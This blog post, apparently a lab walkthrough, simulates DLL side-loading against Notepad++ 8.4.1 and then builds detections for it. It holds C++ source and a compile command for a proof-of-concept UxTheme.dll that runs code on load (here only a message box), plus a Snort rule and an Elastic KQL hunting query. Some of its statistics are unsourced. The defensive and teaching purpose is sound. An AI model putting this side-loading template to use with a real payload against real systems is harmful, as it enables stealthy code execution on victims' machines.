← Back to list

Detecting DLL Side-Loading: From Attack Simulation to SIEM Detection

How a Trusted Text Editor Became a Weapon — And How I Built Detection to Stop It.

CyberFreak · 2025-11-16 11:37 · 10 claps · 6.4 min read
#dll #threat-hunting #cybersecurity #siem #mitre-attack
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

Detecting DLL Side-Loading: From Attack Simulation to SIEM Detection

How a Trusted Text Editor Became a Weapon — And How I Built Detection to Stop It.

🚨 The Growing Threat: Why Notepad++ Became an Adversary’s Best Friend

If you’re a developer, security analyst, or IT professional, chances are you’ve used Notepad++ thousands of times. It’s fast, lightweight, and trusted by millions worldwide. But here’s the uncomfortable truth: adversaries love it too.

In recent years, threat actors have increasingly exploited Notepad++’s DLL side-loading vulnerability to achieve stealthy code execution on victim systems. APT groups like Lazarus (APT38), Mustang Panda, and TA410 have weaponized this exact technique in real-world campaigns, using legitimate signed executables like Notepad++ to load malicious DLLs and evade detection.

📊 Real-World Attack Statistics

  • 70%+ of malware now uses DLL hijacking techniques (MITRE ATT&CK T1574.002)
  • Notepad++ versions < 8.4.6 (CVE-2022–32168) are confirmed vulnerable
  • Attackers prefer this method because it:
  • ✅ Bypasses application whitelisting
  • ✅ Uses trusted, signed binaries
  • ✅ Evades traditional antivirus detection
  • ✅ Leaves minimal forensic footprints

As a Detection Engineer and Threat Hunter, understanding this attack vector isn’t optional — it’s critical. In this deep-dive lab walkthrough, I’ll show you exactly how I:

  1. Simulated a real-world DLL side-loading attack using Notepad++ 8.4.1
  2. Created a malicious UxTheme.dll that executes on application launch
  3. Built comprehensive detection rules in Elastic SIEM using KQL
  4. Mapped the attack to MITRE ATT&CK framework (T1574.002)
  5. Deployed network-level detection with Snort IDS

Let’s dive in. 👇

🧬 Understanding the Anatomy: What is DLL Side-Loading?

Before we weaponize anything, let’s understand the mechanics.

How Windows DLL Loading Works

When a Windows application (like Notepad++.exe) starts, it needs to load various Dynamic Link Libraries (DLLs) to function. Windows follows a specific DLL search order:

  1. Directory of the application (⚠️ Most dangerous)
  2. System directory (C:\Windows\System32)
  3. Windows directory (C:\Windows)
  4. Current working directory
  5. Directories in the PATH environment variable

Here’s the critical vulnerability: If a DLL exists in the application’s directory, Windows loads it FIRST — before checking system directories.

The Attack Vector

Attackers exploit this by:

  1. Finding a legitimate signed executable that loads a specific DLL (e.g., UxTheme.dll)
  2. Creating a malicious DLL with the same name
  3. Placing both files together in a directory
  4. When the user runs the legitimate EXE, Windows loads the malicious DLL first
  5. Profit: Code execution with a trusted process signature

🛠️ Lab Setup: Building the Attack

Step 1: Creating the Malicious UxTheme.dll

I created a simple proof-of-concept DLL that displays a message box when loaded:

#include <windows.h>

int Main() {
    MessageBoxW(0, L"DLL Hijacking", L"Hello", 0);
    return 1;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        Main();  // Call on DLL load
    }
    return TRUE;
}

// Match actual function signatures (simplified - just forward)
extern "C" {
    __declspec(dllexport) void* __stdcall OpenThemeData(void* hwnd, void* pszClassList) { return NULL; }
    __declspec(dllexport) void __stdcall CloseThemeData(void* hTheme) {}
    __declspec(dllexport) void __stdcall DrawThemeBackground(void* a, void* b, int c, int d, void* e, void* f) {}
    __declspec(dllexport) void __stdcall GetThemeBackgroundContentRect(void* a, void* b, int c, int d, void* e, void* f) {}
    __declspec(dllexport) void __stdcall GetThemePartSize(void* a, void* b, int c, int d, void* e, int f, void* g) {}
    __declspec(dllexport) void __stdcall GetThemeFont(void* a, void* b, int c, int d, int e, void* f) {}
    __declspec(dllexport) void __stdcall SetWindowTheme(void* hwnd, void* pszSubAppName, void* pszSubIdList) {}
    __declspec(dllexport) void __stdcall EnableThemeDialogTexture(void* hwnd, DWORD dwFlags) {}
    __declspec(dllexport) void __stdcall DrawThemeParentBackground(void* a, void* b, void* c) {}
    __declspec(dllexport) void __stdcall GetThemeTransitionDuration(void* a, int b, int c, int d, int e, void* f) {}
    __declspec(dllexport) void __stdcall BufferedPaintRenderAnimation(void* a, void* b) {}
    __declspec(dllexport) void __stdcall EndBufferedAnimation(void* a, BOOL b) {}
    __declspec(dllexport) void* __stdcall BeginBufferedAnimation(void* a, void* b, void* c, int d, void* e, void* f, void* g) { return NULL; }
    __declspec(dllexport) void __stdcall BufferedPaintStopAllAnimations(void* hwnd) {}
    __declspec(dllexport) void __stdcall DrawThemeTextEx(void* a, void* b, int c, int d, void* e, int f, DWORD g, void* h, void* i) {}
}

Step 2: Compiling with MinGW

Using the MinGW cross-compiler on my Linux attack box:

x86_64-w64-mingw32-g++ -shared -o UxTheme.dll hijack.cpp -luser32 -static-libgcc -static-libstdc++

💥 Attack Execution: Lights, Camera, Compromise!

When we execute Notepad++.exe, We can see the Dialog Box Appears showing success of our DLL SideLoading attack.

🚨 What Makes This So Dangerous?

  • ✔️ Notepad++.exe is legitimately signed by the Notepad++ Team
  • ✔️ No alerts from Windows Defender (trusted binary)
  • ✔️ No UAC prompts — executes under standard user context
  • ✔️ Process tree looks completely normal (parent: explorer.exe)

This combination is exactly why APT groups love this technique — it blends perfectly into normal system activity.

🔬 Forensic Analysis: What Process Monitor Reveals

To understand what happened behind the scenes, I captured activity with Process Monitor (ProcMon) using the following filter:

Process Name: notepad++.exe
Operation: Load Image

Filtering the DLLs

Filtering the DLLs

UxTheme.dll is loaded Successfully

UxTheme.dll is loaded Successfully

🛡️ Building Detection: Defense in Depth

As a Detection Engineer, I implemented two layers of defense:

  1. Network-level detection (Snort IDS)
  2. Endpoint detection (Elastic SIEM + Sysmon)

🌐 Layer 1: Network Detection with Snort

The Rule

alert tcp any any -> $HOME_NET 80 (
    msg:"LAB - HTTP GET for .dll download"; 
    sid:1100001; 
    rev:1; 
    flow:to_server,established; 
    http_method; 
    content:".dll"; 
    http_uri; 
    nocase; 
    classtype:policy-violation; 
    priority:2;
)

Snort Alert Triggered for .DLL Files

Snort Alert Triggered for .DLL Files

Why This Works

While DLL side-loading often involves local file placement, attackers frequently:

  • Download DLLs via HTTP/HTTPS during initial access
  • Use staging servers for payload delivery
  • Chain this with phishing or drive-by downloads

🎯 Layer 2: Endpoint Detection with Elastic SIEM

The Hunt Query

Here’s my KQL detection query for DLL side-loading:

event.dataset:"windows.sysmon_operational" 
AND event.action:"Image loaded"
AND NOT file.code_signature.status:"Valid"
AND NOT file.directory:(
  "C:\\Windows\\*"
  OR "C:\\Program Files*"
)
AND NOT process.executable:(
  "C:\\Windows\\*"
  OR "C:\\Program Files*"
)
AND NOT file.name:(
  "*.ni.dll"
)

🔍 Query Breakdown: Line-by-Line Analysis

1. Event Source

event.dataset:"windows.sysmon_operational"
AND event.action:"Image loaded"
  • Targets Sysmon Event ID 7 (DLL load events)
  • Provides rich telemetry that native Windows logging lacks

2. Signature Validation ⚡ (Critical)

AND NOT file.code_signature.status:"Valid"
  • Legitimate DLLs are digitally signed by Microsoft/vendors
  • Malicious DLLs rarely have valid signatures (requires expensive certificates)
  • This single filter eliminates 90%+ of noise

3. Protected Directory Exclusion

AND NOT file.directory:("C:\\Windows\\*" OR "C:\\Program Files*")

Why exclude?

  • Standard users cannot write to these paths (require Admin/TrustedInstaller)
  • Attackers operate from user-writable locations: Downloads, AppData, Temp, Desktop

4. Process Path Validation

AND NOT process.executable:("C:\\Windows\\*" OR "C:\\Program Files*")
  • Catches portable executables loading DLLs from suspicious locations
  • Example: C:\Users\victim\Downloads\notepad++.exe loading UxTheme.dll

5. .NET Native Image Filter

AND NOT file.name:("*.ni.dll")
  • Excludes .NET pre-compiled assemblies (e.g., System.Core.ni.dll)
  • Legitimate system activity that creates massive false positives

🎯 What This Query Catches (True Positives)

Our Notepad++ attack:

  • Unsigned UxTheme.dll from C:\DLL_SideLoading\
  • Process running from non-standard path
  • No valid code signature

Real-world threats it detects:

  • APT Lazarus Notepad++ campaigns
  • Mustang Panda DLL side-loading
  • Ransomware using legitimate LOLBins (Living Off the Land Binaries)
  • Cobalt Strike DLL injection techniques

📊 Creating the Detection Rule in Elastic

Rule Configuration

  1. Navigate to: Security → Rules → Detection Rules (SIEM)
  2. Click: Create new rule → Custom query
  3. Rule Type: Query
  4. Data View: logs-*

🚨 Alert Triggered: Detection in Action

After executing my attack again, Elastic fired an alert within 1 minute:

🧩 Key Takeaways

Defense Strategy

  • Layered detection catches attacks at multiple stages (network + endpoint)
  • Code signature validation eliminates 90%+ of false positives
  • Path-based filtering focuses on user-writable, high-risk locations

Detection Engineering

  • User-writable paths (AppData, Downloads, Temp) are primary attack vectors
  • System directories (Windows, Program Files) require admin access — safe to exclude
  • Continuous tuning reduced alerts from 500+/day to 5–10 high-fidelity detections

Technical Wins

  • MITRE ATT&CK mapping (T1574.002) enables threat intelligence correlation
  • Sysmon Event ID 7 provides critical DLL load telemetry
  • KQL query optimization balances detection coverage with operational noise

🎓 Skills Demonstrated in This Lab

As a Detection Engineer and Threat Hunter, this project showcases:

Offensive Security: Malware development, DLL compilation, attack simulation ✅ Defensive Security: SIEM rule creation, query optimization, alert tuning ✅ Threat Intelligence: MITRE ATT&CK mapping, APT technique analysis ✅ Forensic Analysis: Process Monitor, Sysmon event correlation ✅ Query Languages: KQL (Kusto Query Language), Snort rule syntax ✅ Tooling Expertise: Elastic SIEM, Sysmon, Snort IDS, MinGW ✅ Incident Response: Alert triage workflow, investigation methodology

🔗 Resources & Further Reading


메타데이터
post_id
50f8ee41e407
slug
detecting-dll-side-loading-from-attack-simulation-to-siem-detection-50f8ee41e407
url
https://medium.com/@sujalchauhan921/detecting-dll-side-loading-from-attack-simulation-to-siem-detection-50f8ee41e407
canonical_url
https://medium.com/@sujalchauhan921/detecting-dll-side-loading-from-attack-simulation-to-siem-detection-50f8ee41e407
author_url
https://medium.com/@sujalchauhan921
status
ok
fetched_at
2026-06-24 11:06:28